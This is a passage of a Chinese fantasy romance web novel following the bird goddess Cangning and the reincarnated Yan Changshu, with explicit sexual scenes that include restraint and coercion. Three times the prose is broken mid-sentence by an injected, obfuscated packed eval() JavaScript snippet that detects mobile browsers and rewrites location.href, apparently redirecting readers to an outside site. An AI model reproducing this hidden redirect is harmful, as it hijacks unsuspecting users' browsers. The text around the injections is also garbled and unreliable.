“他神通广大,有的是法子。唉,怎么说呢,他倒也确实给我们支了个法子,可是要勤学苦练,又要忍受孤独,我们兔儿精喜爱大家族,自然没人听他的。还是和贵客们聊聊天舒服。后来,他便走了。” 话又说回他们和贵客聊天的看家本事上,苍宁只说还需勤学苦练,她取床头一面镜子给他瞧,他大吃一惊,微微掩住嘴,听苍宁说道:“面容变得是像,可惜神态不像,一眼就能看穿……你怎么了?” 欢奴激动道:“是他,就是他!那个好生厉害的男鬼,就是长这样!有兔儿精觉得他模样讨娘子喜欢,也尝试变成这样,但不怎么像。他走了没十天半个月的,大人若想追去,应当能追得上?” 苍宁收了笑,心中一冷:“此话当真?” “当真当真!” “可这里是妖界……?” “是人界和妖界的交界处。”欢奴说道,“大人可要去?” 苍宁不去,任凭欢奴如何劝都不去。 欢奴摸不着头脑,问她喜欢为何不去,她随口说对方对自己只有恩情,并非喜爱,平白无故的,干什么要去找他。 “报恩就更要去了,大人现在一动不动,可知不是报恩。” “哼,胡说。” “就算是我胡说吧,”欢奴笑道,“大人,虽说恩情也是情意,但依我看,想要报恩,可没有太多顾虑,甚至报完恩便走的,不在少数。毕竟是两路人,怎可一直相伴同行呢?我那表哥便是这样——被凡间娘子捡到,赚来的金银送过去,解除娘子的困境,让她开店买卖,此后便各走各路了!可一旦考虑到对方的心情,忧心对方的路能不能和自己走到一块儿去,那就不单单是报恩了。” 苍宁听罢,心头百转千回,早已顿悟,憋着一把火,面上不露痕迹,冷哼一声:“我需要你来教我?” “是,是。”欢奴顶着晏长书的脸,言笑晏晏道,“大人,变都变了,大人便做些心里头最想做的事吧。” 苍宁斜睨了他一眼。 “当真要我做?” 欢奴欺身上来,腰身柔软:“大人想做什么都可以。” 荒唐。 真是荒唐又胡扯…… 她思及晏长书这一事,总觉得她虽拿着主意,但却像是被卷入洪流的一叶扁舟,只能随大势漂浮。她不管去不去,总归和他交缠在一起,半分都不如她的意。 可怎么会这样呢? 到头来,只有她一个人辗转反侧,叫什么事?简直像个傻子,让她自己都觉得可笑。 尔后,她顶着面前这张脸,扬起手,扇了他一巴掌。 啪的一声,一巴掌便把欢奴扇回了原形。 欢奴惊呆了。 他卷着兔子尾巴两眼直瞪,眼看着趴下求饶,苍宁拎着兔耳朵将他放在床榻上,自己将身下来。 “不好意思,看见这张脸就想动手。我平常也这样。” 苍宁咬得牙痒痒。 那会儿离开的时候,不是和晏长书说好了要乖,不要做傻事吗? 为什么那死家伙一个字也没听进去,反而游荡人间去做什么男鬼了?! 她在西天上睡了那么多天,他现在算是第几世,第三世吗? - 苍宁出来时,貔大虎正和兔儿精们一起喝酒投壶。 她冷冰冰抱手站在一侧,检查袖中五色石的情况。 兔儿精们见她面色不善,纷纷挤眉弄眼,停下了笑,貔大虎饮了酒,如金山将倾般,踉跄着回过身来。 他端的是风流倜傥,潇洒如烟,苍宁面色奇差,指着他鼻尖骂道:“该死的,你是不是故意带我来这里的?” 貔大虎伸手包住她指间,见金壶中没了酒,一口吃掉了金壶,皱眉道:“我,我故意什么?” “你知道晏长书来过这里,故意带我来——” “你乱讲,本大爷才——才不知道!你们兔子说说,这里哪里有叫晏长书的?” 貔大虎踉跄得凭栏伫立,眼眸漆亮,一众兔儿精收了丝竹管弦,各个正襟危坐,你看我我看你,不敢说话。 “说话啊!” “有的。”兔儿精们的声音此起彼伏,“有的。” “真有?” “真有。” 貔大虎听罢,尴尬地对苍宁笑道:“你看,好消息,晏长书在这里。我们去把他打一顿,给你解解气。” 苍宁转身就走。 貔大虎忙道:“苍宁,你别去你别去!晏长书自第二世后就没再进入轮回,魄体到处飘泊,捉摸不透,实不好惹,你别去!” 苍宁一翅膀把他扇开:“那你怎不早点告诉我?” “不是你睡醒就叫我带你去寻欢作乐吗?” 苍宁黑了脸。 “喂!苍宁!我的祖宗啊,喂!”貔貅气得跳脚,连连喊冤,“这是什么事儿啊能怪在本大爷头上!你不是不愿见他吗,这时候跑去岂非违背本意?” “本意?我想通了,彻底想通了,什么强求不强求,情之一字,若对方无意,便是把自己摊开了,揉圆了沦为众人的笑柄。我从不是怕,但我见不得自己再畏缩被中的逃避模样。我来告诉你,你说的、她说的、他说的,我现在都不听了,我就只管自己说出来的,自己去做的——我的本意就是等他从第三世回来,和他好好算这笔账,有恩报恩,有价还价,君若有意长相守,君若无意我便休,从此明了!明了!” “啧——但、但你怎么能找到他?!” 她不管貔大虎如何,晏长书如何,只觉得男人真是一个个都靠不住,想把他们全都大骂一顿方能解气。何况那里还一堆的男人,简直是入虎狼窝般,气得她难受! 就算她施了术法,叫晏长书忘记了要乖乖听话的劝诫,怎么会真的成了鬼呢? 她驱动神力,手腕上两粒血痣感应到晏长书大概位置,刚飞出销魂窝,进入凡间,只觉大雪纷纷扬扬,天地白茫茫一片。 冰雪迷乱了她的双眼,她不觉寒冷,反倒从胸腔中冒出一股从未有过的心火,燃遍四肢百骸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030046|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激发出叫她难以控制自己的怒气。 白青色的鸟翼在空中划出一条云线。 她能找到他。 只要她想,她随时可以找到他,知悉他的动向,这是他给予她的权力。 汹涌山火映照天际,悬崖上下白雪无踪迹,如人之躯体流下鲜红几许。到处是断壁残垣,房屋倒塌之景象。 苍宁自火光中飞去,丝毫未被灼伤,反有凝聚火象之力。眼见火焰在羽翼风中流转,她想起当日在镇神塔时,塔内火焰不曾伤她分毫,于她而言,反倒像好风上青云。 白雪不曾熄消火势。天色阴沉,下起雨后,火势稍退。 她缓缓落在悬崖边,见一个身着玄衣的男人浑身是灰,正背对着她,将山火中的村民安葬。他身旁熏得漆黑的鳏寡孤独哭得泣不成声,从他手中领了银钱,托着他的手,双手合十,跪拜下去。 他没有伸手去扶,而是轻抬手指,用一股无形的力量凭空将老者托起身。 许是苍宁没有变成小鸟团子的缘故,哭泣的老者肩上托着雨雪,一眼就望见了黑石上的青鸾鸟。老者噗通一声再次跪倒在雪地中,男人微微侧过身,看向她。 他眼若寒星,面似冷玉,腰带勾勒出颀长身姿,周身弥漫着清冷的疏离之感。 的确是晏长书。 他定定的看着她,冷静的黑眸中冰雪消融,燃起一簇不灭的火光,直直探到她的心中。 视线如红线交缠,苍宁僵在原处,几乎忘了怎么飞。 他转身过来,喊出了她的名字,一步步朝她坚定走来,苍宁扑腾两下翅膀,差点从空中掉下去,又狼狈飞起,霎时离他远去。 她并没有处于某种内心的斗争,也没有游移不决的心情。 冲破云层时,她闷头闷脸迎了一头雨,不知神游了多久,也不知飞过多少城镇,苍宁甩干净羽毛,才后知后觉明白一个问题: ——她当初意欲让他遗忘的术法,不知出于何种原因,没有生效。 晏长书知晓她是谁,他仍留有人世的记忆。 她根本不需要躲藏。她要去解决问题。 苍宁在空中调转身形,向回飞去。黄昏时分,雪霭掩住日光,昏暝四野,但她轻而易举在悬崖上找到了那个玄色的身影。 晏长书没有走。 雪依然在下。 悬崖下的火光仍旧不断。 他们孑然一身,天地各一方。 晏长书望向天空,没有任何害怕,也没有任何后顾之忧,就这样朝前踏入悬崖—— 苍宁浑身发冷,冷风刮刀子般甩在她的脸上,她快速俯冲,在空中接住他。 山火吞没了他们的身影,苍宁脚尖借力,跳出滚烫火中,怒目看向他: “晏长书,你到底在做什么?!” 她有很多疑惑和埋怨,在这瞬间烟消云散,甚至忘记了他现在根本不会死。 晏长书抓住她的臂膀,眼中炽热的光如山火,一点点蔓延到手上,灼灼发烫。 “苍宁,好久不见。” 苍宁眼眶一热:“我不是告诉你要乖一点吗?你到底发什么疯啊。” “我想要理解你说的那些话是什么意思,苍宁,我想要留下记忆。我怕等你回来,又装作不认识我。” 他面色苍白,黑眸愈沉,手指愈发用力,牢牢抓紧她,将她捏疼了。 尔后,他轻轻对她笑道:“宁宁,你看,我还是抓住你了。” 53. 不存在的第三世·二 山火已然熄灭。 民宅被烧后仅剩下几根黑木,在大雪中,如平铺白纸上几道歪歪扭扭的墨线。 晏长书坐在苍宁对面,盯着她,说冷。 苍宁在洞穴中燃起小小的,安全的火。 一时之间,柴火噼里啪啦爆出响声,天地的风雪声,都笼在这个小小的洞穴中。 岩壁上随火光跳跃着苍宁的影子,赤青色一闪而过。 晏长书仍旧说冷。 “苍宁,我冷。” 他渴求她:“我很冷。” 苍宁试图给他添衣,但没有用。 一来二去,苍宁没办法,她迎着风雪闯进客栈的时候,吓得沉睡的店小二心都要跳出来了。 “闹、闹鬼啊!鬼——” “鬼什么鬼,”苍宁掏出金元宝,“要天字一号房,别熏香,再要一桶热水沐浴。” 之后,他蜷在被褥里,仍旧说冷,很冷,面无表情的,好像明天就见不到太阳似的。 苍宁让他入热水沐浴,他蹲在里面,露出半张脸,咕噜咕噜吐泡泡,一瞬不瞬地盯得苍宁发毛。 “怎、怎么了?” 晏长书说:“冷。” 苍宁将他捞出来,他自己擦干净水,又滚到被褥里去。苍宁钻进被褥从他身后抱住他,他终于没有喊冷了,慢慢往后靠,让苍宁的呼吸拂在他颈侧。 被褥传来沐浴后若有似无的香气,房中留了一盏烛光,在月色和雪色下闪烁。 小鸟的身体格外暖和,尤其是怀抱。他抓住她的手,捂在心口,只觉自己又有了存在的知觉。 “不冷了。” 他暂且满足。 苍宁默了默,说道:“晏长书,你解释一下。” 他侧过头,瞧她面色: “……从哪里开始解释?” “从你为什么没有失忆开始解释。” 他沉了片刻:“宁宁,你想我吗?” 苍宁凶巴巴道:“不想。” “哦。”他眼眸黑漆般,喃喃道,“那你去哪里了?我找了你很久,怎么都找不到你。” “我当然有我自己的事,逍遥快活,你管我这么多做什么?” 他滞了滞,辗转几回,末了,低声道:“可是我想你。” “我不想!” “我很想你。” “我不想……” “我很想你。你想我吗?”他反反复复说着,像是久病之人抓住了最后那点时光,逼她回应。 “我……”苍宁忿忿说出一个我字,气极反笑,伸手就给了他一巴掌,“我最想干的就是打你。” 他偏过头,苍白面容浮着五个手指印,黑眸中重燃起火光。 她咬牙说道:“你的解释呢?” 他低低笑道:“我喜欢你打我。” “不是这个解释。” “我想你,想你想的快死了。”他歪头,“虽然已经死了。” 苍宁又恼又难受,反手又一巴掌,要将他推开,可不论怎么推他都纹丝不动。他眼中的火光愈烧愈旺,冒出奇异的光,叫他浑身颤抖,笑出声音来。 尔后,他忽然翻身在上,捉住她的手腕锁在枕侧,死死将她压在床上。 “苍宁。” 他钳住她的下巴,“你不在意是吗?你不在意我想不想你,在想什么,过了什么样的日子,和谁在一起——是吗?” 苍宁见他偏执的模样,心中滋味百转千回:“你不是应该把我忘记吗?” “忘记你……”他自嘲笑道,“对,我要你记住我,你却要我把你忘记。” “我要你忘记,就是怕你去做些疯事傻事,可以完成三世轮回,回归你原本的身体里,可你倒好,非要让我难受。你为什么不去转世,为什么要用这副模样行走人世?” 晏长书轻轻笑了笑。 他周身气息令苍宁捉摸不透,总觉得很空,又极度的满,不知到底有几成力量。 渐渐地,随着他的笑,她感觉腿上和手臂上爬上了冰冷而挠人的不知名物体,一点点缠绕她的身体,将她的手腕束住,绑在头顶,两只脚腕拉开,为他的膝盖腾出位置——羞耻的姿势让苍宁红了脸,她挣扎片刻,叫道:“晏长书!” 他当即笑道:“我在。” 他伸出食指,放在她柔软的唇中,慢慢地揉,像是摩挲花瓣,将花瓣揉得嫣红、熟透,泛出口津润泽的艳光。 他着迷地俯身,用呼吸描绘她的唇形,脸庞,停在她的耳垂旁,用鼻尖轻轻蹭动。 苍宁咬着唇,发觉身体正响应着他的呼吸,好像连身体中的力量都在滚动着,从魄丹中不断流淌出来。 有点……不对劲。 她溢出一声浅浅的嘤咛,他转过她的脸,眯眸道:“你不想我,身体倒是很想。” 她又恼起来:“有时候想有时候不想,你管我呢!” 他见她一副要撇开关系的模样,一口咬在她的耳垂上,叫她吃痛,等她张开唇,便送进舌尖,在低沉的呼吸和绷紧的情绪中狠狠吻住她,将她搅得无法思考。 熟悉的气息笼罩着她,四肢上的束缚牢牢箍紧,苍宁报复心强,反口咬他,将他的口唇咬伤,落下暗红的血。 他没有停止,转而她白皙的脖颈,火/热的舌吻出一朵朵梅花,血迹淋淋,直到她破口大骂:“晏长书你这个小人!我讨厌你,你要是强迫我,你不得好死,不得好死!” 听见这一声,他终于忍俊不禁,止住了亲吻。 他先是低低笑着,胸腔震动着,震得苍宁胸口发麻,尔后哈哈大笑起来。 他一反常态,倒叫苍宁无所适从,惊惧生疑。 “你莫不是真疯了?” “我疯了?”他黑眸中光华万千,“苍宁,我没资格管你,你却有资格定义我是谁,真正的我,不是真正的我,发疯的我,嗯……是啊,我疯了,我不去转世,就是因为我想要知道什么是真正的我——按你说来,我应当不止是个凡人。 “所以,我也应当有我不知晓的能力:不属于凡人的能力。在你消失到不知何处,我拼命寻找神鸟祥瑞苍宁的时候,我也有办法去弄清楚,晏长书到底是什么人。” 苍宁抿唇:“你……” “我在医铺时曾用很多时间说服我自己,苍宁。”他诡柔低语,“我甚至接受了你有一天会离开,但是绝对不是消除记忆,被你抛下,被你否定——你知不知道你有多残忍?你告诉我你有永恒的时间,却把我抛在长河的一段中,让我等待死去。你知不知道我有多想你,想要杀死我存在的时间,跳到你那里去?” “晏长书,所以我给你施了术法,让你遗忘啊……”苍宁眼底发红,“我本意是好的,我明明想一切顺顺利利的。” “所以你说不想我,是假的吗?”他鸦羽似的黑睫,藏着一丝美丽的脆弱,“是吗?” 苍宁眨了眨眼睛,艰涩道:“……所以你知道了吗?你知道我是神鸟,也知道了你自己是谁,你有了全部的记忆?” 长久地沉默中,他叹了口气,摇摇头:“并非全部细节,但无碍。” “那么,你的修行还没有完成,”苍宁道,“晏长书,你将我松开,你去转世啊。” 他只是看着她,温柔道:“苍宁,你总是不回答我的问题。你害怕什么,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030047|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的修行失败吗?” “……害怕。” “别害怕,宁宁。”他说,“失败就失败了,是我心甘情愿的。” “……你当初若是这么想,就不会下凡轮回了!” “你怎么知晓现在不是我的想法?你为什么否定我,就像你否定你想我?” 苍宁双眸眨动得快了些:“我……那是因为……那是因为……” “别撒谎,宁宁。” 苍宁垂眸道:“第一世来找你前,我想要报恩,你若是打听过,便知我是瑞鸟,我不想坏了任何人的好事。” “报恩……好一个报恩啊。” 他的手指从她脸庞滑落,“可是宁宁,我不要你报恩。” 她猛然抬头,撞进他幽深的黑眸中。 “我不要你报恩。”他重复道,“其他人都可以,唯独你,我不需要你报恩。” 苍宁的声音微微颤着:“你什么都不知道。” 晏长书含笑: “第一世在王城,我就在等你回来。” 苍宁顿了顿,不敢置信地睁大眼。 他淡淡道:“我在清净寺里等了你很久,我一直等你回来,高珣还误以为我绝食。呵……后来,我意识到高家本就不该存活于世,于是杀了他。我轮回转世,没有喝下孟婆汤。 “第二世你回来,认我做哥哥,我气极了。然后你丢下我离开了。在你说出那些话后,我还如何轮回转世呢?我不想轮回,我想试试看,你究竟会不会回来,找我。我不需要报恩,宁宁,我在赌,赌你和我一样想你。” 苍宁黑睫微颤。 倏尔间,四周的景象全然消失,唯有火光、月亮和风雪声仍停留在原有的位置。 如大梦初醒。 苍宁被藤蔓牢牢束在悬崖的洞穴中,岩壁上随火光跳跃着苍宁的影子,她回过神来,才知道是幻术。 竟——竟没有任何术法的痕迹,也没有卍字的出现! 晏长书仍旧坐在她的对面,隔着火光,她看见他拇指上有一枚卍字戒,正闪着淡淡的金光。 苍宁暗暗吃惊:“这是法器?” “不是。只是依托于我而存在的事物,依我意愿存放记忆和力量,算不得什么法器。” “那幻术……” “卍法,是佛修时,与我操控时空能力结合的术法罢了。” 苍宁哑口无言,她有很多问题,但一时之间想不到更多问题。 火光中,她不觉得冷,反而浑身发热,牡丹花丛流着露,顺着腿流下去。 她意识到了,不由烧红了脸。 他站起来,慢慢走近她,问:“想我吗?” 苍宁眨着眼眸,唇瓣嫣红。 “晏长书……” “我很想你。” 从始至终,他一直在纠结这一个问题而已。 他很想她。 很想她。 很想。 他想得到的答案,只有一个。 晏长书的手指蹭过她的腿侧,勾起湿润。 苍宁眼睁睁看着他将牡丹花露放进柔软唇舌,吃进身体里。 他几乎没有碰到她,却叫她欲念飞涨,恨不得将他狠狠骑/在身/下,给他个教训。 晏长书看着她,哑声道:“不想吗?” 她挣扎片刻,挑眉:“你先松开我。” “不。” 他俯身,凑近她,把话喂到她耳里:“什么都没做,就湿答答的。” 苍宁剜了他一眼,红脸嗔骂道:“你不要脸!” 他还是求一个答案: “宁宁真的不想我吗?” 54. 不存在的第三世·三 夜里颠鸾倒凤的滋味叫人醉生梦死。 可苍宁实在不愿被绑在墙壁上。再怎么样,被绑着的人也应当是晏长书。 但他不碰她。 他离她半臂之距,静静地看着她,没有送上柔软的唇瓣,只是看着她。 她从不觉得鱼水之欢羞耻,可思想和念头在对方面前无处遁形,却让她感到羞耻。 “你松开。”她冷声道。 他兀自摇头:“若你又飞走了,抛弃我了,该怎么办。” 怎么办? 谁让她长着翅膀? 谁让她天生会飞? 还有,什么叫抛弃? 抛弃??怎么说话那么难听! “你还没回答我的问题,宁宁。”他垂眸: “你想我吗?” 他语气诡柔,楚楚可怜,仿佛陷在一个怪圈,非要她此时此刻接下,才肯进入下一个话题。 苍宁偏不让他如意。 小鸟可不是好惹的! 苍宁深吸一口气,已经在想要怎么教训他,让他为自己做的事情道歉,她转变策略,嫣然一笑:“你先松开我,我告诉你。” “真的?” “真的。” 晏长书表现得很为难,“你是不是要骗我,然后给我再下一遍忘了你的术法?” 苍宁泫然欲泣似的,把跟林芝撒娇的伎俩都用在他身上,埋怨他: “你不相信我了?” 他睫毛颤了颤。 “晏长书,其实你不喜欢我了,不爱我了,是不是?” 晏长书抬眸:“宁宁,不是。” “那你就是不在乎我了,我干脆死了算了。” 她眸中盈盈有泪,眼瞧着珍珠似的落下来,晏长书伸手扶住她的脸庞,微微蹙眉:“不是这样的……” 苍宁吸吸鼻子,委屈道:“我手疼,好疼好疼,你先松开我,我抱抱你嘛。” 他迟疑片刻,难耐心动,终于解开束缚,让她重获自由。可不待她揉搓绑牢的手腕,就一个扑腾将晏长书狠狠扑倒,补上了幻术里的那巴掌。 “晏长书,你竟然敢绑我,你这个混蛋,大混蛋!” 苍宁向来受不得委屈,将他压在火堆边,坐在他身上,大骂一顿,像是小鸟扑腾翅膀啄啄啄,挠得他脸上身上全是红痕。 火星子飞溅,烫伤了他的脖颈,全是星星点点的痕迹,他看着她笑,任她胡乱扒开他的衣裳,在他胸膛上咬。 她虽然生气,但说没想过他,是假的。 她不像晏长书擅长忍耐,她把一路走来的情绪,那些不解、担忧、愤怒、气恼全都发泄出来,通通都让他也感受一遍。 然后,她要他道歉,要她求她,百无忌惮,他也当真全顺着她,求她来触碰他,摇尾乞怜。呼吸交缠间,她恶作剧般摆弄着他,看他额间青筋凸起,眸光绽若夜莲,情动难忍。 她笑出声,可还没来得及得意多久,便被他握住腰身。 洞穴潺潺流水,有暗火。 她柳眉微蹙,咬唇喊道要死了要死了,被他拉下来,堵住了唇。 “真要死了?” “唔……” 苍宁眼尾媚红,只觉销魂蚀骨,尾羽都冒出来了。 “爽快死了?”他闷笑。 “你混蛋呜……” 晏长书到底想念她,抓住她翻来覆去地尝,几乎失去所有理智,逼她说想他。 她控制不住将他抓出印子,呜咽着说想,想他。 “有多想?” “想呜……” “宁宁有多想我?” 苍宁发现他还是很坏,目的性很强,如果不说出来,就故意停下。 她敏感得受不住一点刺激,何况是突如其来的刺激? 他还说怎么弄他都没关系,他会准备很多很多彩纸,让她一根根叼走,做窝,最好也把他撕成一片片,用来装饰她的羽毛,成为她身体的一部分。 苍宁又羞又窘,伸手推搡他,可热汗淋漓,划下去,长指甲又在他身上扣出几道印子。 晏长书迷恋她给予的疼痛和快意,她抵御不了灵魄交融的感觉,只好一起同他深陷进去。 沉沦。 沉沦。 直至尽头。 …… 春事了有痕。 熹光微显时,苍宁眯着眼,沉沉睡去。 晏长书搂着她,卷着衣裳,蹭了蹭她的唇。 “宁宁,爱我吗?” 苍宁迷迷糊糊嗯了一声,缩了一下。 他将她的腰往下扣,黑眸沉沉,发出喟叹而满足的低吟,长睫垂下,掩下偏执的占有和掌控,抬眼又是诡柔的爱意。 他圈住她的腰身,就这样抱着,将所有朝思暮想全都抱在怀里,好像世界的珍宝就在怀中。 别的一切都不真实,不重要。 别的一切都与他无关,只有她与他命运交缠,和他真正相关。 “我知道你放不下我,宁宁。” 他赌赢了。 - 苍宁是被一阵窸窸窣窣的声音吵醒的。 她睡得很沉,迟迟不愿意睁开眼睛,翻身继续想睡,那阵声音仍旧在不远处,频繁响动。 仔细听,好像是撩动柴火的声音。 那个人明显翻得不算熟练,中途翻断了几根树枝,被烫得大呼小叫,苍宁恼得皱眉。 晏长书——? 居然敢惹她睡觉,以后再也不要理他了! 第六次翻身后,苍宁艰难地睁开眼,看见一个双十年华,杏腮粉面,美得叫人不敢直视的红衣娘子蹲在地上,直勾勾地看着她。 苍宁没想到是这种大眼瞪大眼的场面。 不过,面前的红衣娘子有几分眼熟。 “你终于醒了?”红衣娘子格外熟络,似乎是她的老熟人。 苍宁吓了一跳,下意识摸自己身子,发现穿好了衣裳,才松了一口气。 “你俩也真能做,干柴烈火几个时辰,嘻嘻。” 苍宁:? 哪里来的红衣娘子? 怎、怎么干些偷鸡摸狗的事情! “你怎么在发呆?”红衣娘子撑着腮,说道,“在想他?他出去了,大概很快就会回来吧。” 苍宁横眉冷对:“你是谁?” “啊?你不认识我?” “别说废话了。” “哈哈哈,苍宁,别害羞嘛,”红衣娘子眯眼笑道,“我虽然听了一晚上淫言浪语,但还是很替你高兴的啦,我喜欢有情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030048|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人终成眷属。” 这句话有些耳熟。 “记起来了吗?你之前叫我小花。”红衣娘子指着自己说道,“看来从镇神塔出去之后,你活得很好嘛,和你爹一样,很有生命力。” 苍宁疑惑。 “小花?我爹?” “嗯,我们算是第一次见面吧,”她笑眯眯地说,“如今的我恢复全部记忆啦,我叫岳枋,是花神。呃……曾经的花神。要是你还想叫我小花,也没问题。” “原来是你。”苍宁松了口气,“是五色石将你救好了,没想到这么快。” “原来那个地方是五色石啊,又漂亮又温暖,比镇神塔好一万倍,多谢你!!……欸?五色石?!你从哪里弄到那种神器的?” “是晏长书的东西。” “欸——果然是他啊。可是他好像不是神魄,真奇怪。” “咳……他正在轮回。” 苍宁三言两语将从镇神塔出来后的事情说了说,岳枋听闻,连连笑道:“你和你娘亲好像,你们青鸾一族,就想着报恩报恩,善心太过,希望对方好过。但你娘能忍,你却不能忍,你和你爹挺像的,憋不住,上天入地,为所欲为。可惜……” “可惜什么?” “如果是你和晏长书的话,最后应当不会落得那样的下场吧。” “不会哪样?”苍宁急急追问,“你知晓我的爹娘?你认识他们,和他们很熟悉?” 岳枋道:“熟悉啊。唉。那会儿我帮你娘见你爹的时候,我被天帝关进神机庭打得遍体鳞伤,她被关在天帝房中遭受凌辱,白日便联合神界整治你爹,剃了他的羽毛,丢到鬼界。” 苍宁冷眉道:“他怎能如此?!” “你不知道?没人和你说过?” 苍宁本就是个急性子,岳枋吃惊之余,她已然心急如焚,要她快说快说。 岳枋这才发觉,苍宁的的确确不知晓此事。 她犹豫再三,正色道: “你娘亲凝安,是天地间最后一只青鸾鸟,曾跟在西王母座下。天帝为天运强取豪夺,让她成为侧妃。因与你爹有私情,天帝将他们折磨至死。” 苍宁凝息,不敢置信道:“我娘和我爹没有成婚……?” “他们没有成婚,但是的确相爱。”岳枋说道,“你爹是凤凰一族中,千万年难得一见的白羽火凤凰。从来没有人告诉你这些吗?对于天帝而言,你是一个错误。一个他建立的秩序之外不该存在的错误。” 苍宁快速从春宵余韵中抽离,怔怔地,感觉心底有股火气往外冒。 “苍宁,晏长书没有告诉你这些吗?” 她心头一颤。 “他也知晓?” 岳枋肯定道:“他是女娲伏羲的后人,曾掌管万物生灵,护佑生生不息,有不死之躯。天帝曾与他做过交易。” “什么交易?” 岳枋抿唇,缓道: “杀死鬼王。” 瞬间,苍宁呼吸急促,只觉脑中讯息翻天云涌,化作冰雹落下,将过往的认知砸了个粉碎。 岳枋见她面色不佳,看向自己身后,不由回转过头。 岳枋同样愣住。 站在洞穴门口,似笑非笑的那个人—— 正是晏长书。 55. 不存在的第三世·四 洞穴中陷入了诡异的沉默。 晏长书站在洞口,脸上脖子上身上全是她留下的赤裸裸的印记,就这样大剌剌放出来叫旁人看。 苍宁怔怔地望着他。 冬日的阳光轻飘飘的,照到身上也跟摸不着似的,苍宁没有感觉到暖,而是前所未有的凉寒之意。 她自小在三危山张牙舞爪惯了,西王母亦师亦母,她很少认为自己缺失爱意。 每个人都疼她。 每个人都爱她。 每个人都充满善意。 她曾以为世界原本就是这样的。 天帝来带走她时,曾告诉她:你的爹娘在神鬼大战中牺牲,是大战中的英雄,你是青鸾末裔,如今应该由你来延续这份力量了。 她年幼无知,被纯洁的爱意和荣誉的光环所欺骗,便傻傻地跟上去,想要为神界的稳固尽绵薄之力。 她是信任人的。 如今,苍宁也是信任人的。她愿意去信任他,相信的是自己的感情。她找不到晏长书绕了那么一大圈,把修为和爱都给了她之后,只为伤害她的证据。 爱可以是假的:她如今暂且能够区分。假的永远不会成真。但她不愿意相信爱他的爱是廉价的。廉价的爱比没有更加可憎。 火光中,晏长书的面容沉而平静。他没有看着岳枋,只是看着她,想要读懂她的心绪。 岳枋左看一下,右看一下,尴尬道:“你们先聊?” 苍宁让她留下。 岳枋尴尬中做的自我介绍,晏长书只是点点头,他这般模样,反倒加深了岳枋对晏长书的刻板印象: 冷冰冰,高高在上。 正待岳枋如坐针毡之时,她见苍宁伸出手,勾了勾手指,那个冷冰冰,高高在上的尊者便走过来,柔顺地牵住她的手。 “晏长书,我给你时间解释。”苍宁的语气很沉。 岳枋转过视线,见晏长书点点头,沉吟不语。 苍宁:“你说。” 他很认真在思考。 良久后,他很认真地抬眸,说道:“我不知道。” 苍宁:“……” “宁宁,我不记得这件事。”晏长书皱眉,“我仍在轮回中。” 晏长书现在的状态,仍旧困在轮回中,意味着他并非得到了全部的记忆。只有等他回归尊者,回到原身上,才会拥有全部的记忆。 但晏长书怎么说的来着? 无碍。 无碍?! 苍宁是个喜形于色的,气得甩开他的手,他黏上去,像小狗:“宁宁,我不会和别人做无意义的交易。” 鬼王,她曾经便是。晏长书确实没有杀她,她不计较此事。只是…… “不会?你瞒着我的事情多了,你就没有告诉过我,你是女娲和伏羲的后人!”所以他才有补天遗石,才是——是人身蛇形!苍宁咬牙道:“你连这个也不知道?” 他沉吟道:“……这个如今知晓。”他皱眉道,“可这也不是什么值得说道之事,我并不知晓这件事十分重要。” “无可说道?” “若同你有关的事情都无可说道,我们之间还有什么好说道?” 苍宁气笑了。真笑了。 岳枋微微张唇,惊诧的光芒从她眼中一闪而过。 世人都道神明无情无欲,这只是对了一半:神明照样有千百种性格和形态,若决心留下后人,必定讲究血统。晏长书不在乎自己的出身,这事其实奇怪。更何况,他是上古神明的后代。 苍宁到底吃惊。只是,她不是因为知晓他的身份而产生了谄媚,而是对他的在意和不在意感到不快。他对不在意的事情有着客套的疏离,旁观的理智和净天口中的冰冷。 若有一日,她在乎的事,他不在乎呢? 她正色道:“你是否知晓我爹爹娘亲的事?” 果不其然,晏长书并未否认。他黑眸沉沉,抿唇不语。 苍宁盯着他瞧:“那你可曾与我爹爹娘亲见过面?” “大约……见过。” “你不是不记得吗,如何又见过?” 他转了转卐字戒,叹道:“很长一段时间,我游走世事规则之上,倍感无聊。离开神界之后,我巧遇地藏菩萨,因而开始佛修:我将无关紧要的力量抛去,留下有迹可循的记忆——这是将永恒生命化作节点的方式,犹如蛇蜕,一层一层,每次开始宛如新生。这枚卐字戒,记载了许多节点,能随时为我所用。我便是从这里读取了和你爹爹娘亲相遇的回忆。” 于此种种,晏长书竟是随心所欲,不知有多少她不清楚的底牌。如此说来,相较于她,他必定活了许久。苍宁想到一路上所有人都说她年轻……西王母便也算了,净天还笑话她年纪不如她身上的璎珞年岁大,真是令苍宁不爽。 